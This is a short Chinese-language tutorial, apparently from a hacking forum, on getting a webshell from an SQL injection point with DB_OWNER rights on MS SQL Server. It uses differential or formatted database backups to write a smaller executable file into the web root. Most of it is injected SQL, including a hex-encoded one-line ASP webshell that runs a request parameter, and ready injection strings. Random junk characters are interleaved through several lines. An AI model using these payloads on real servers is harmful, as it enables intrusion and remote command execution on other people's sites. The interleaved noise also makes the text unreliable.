DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

, J- }4 A: P: L一利用差异备份
4 w" b* B* h# S加一个参数WITH DIFFERENTIAL
. @+ s. i: e. h, U; t
% R" H' t( M. i3 S& f, C  |8 I: Ydeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ T/ p. `+ D* Y7 ?( F# C# Mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
& d9 _; N: L9 j0 f0 _! W" c; P; s
4 n0 x7 L# P$ ~  K4 q5 ^二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
% E$ D+ H5 T1 a
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
2 P' O& o" a& ?( Q* fcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; y* F. F% Z0 j) e0 ^! V, b$ Q( Kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
) J0 A$ w! ~* O) Z6 k. e; J* E
: P0 v. f& C9 s4 f: gid=1;use model create table cmd(str image);insert into cmd(str) values (”)
0 h) K. e1 Q) q. p+ z& s
id=1;backup database model to disk=’你的路径‘ with differential,format;–
# p. N- m; |: n
& }* G. x' B/ A3 L, T! s  K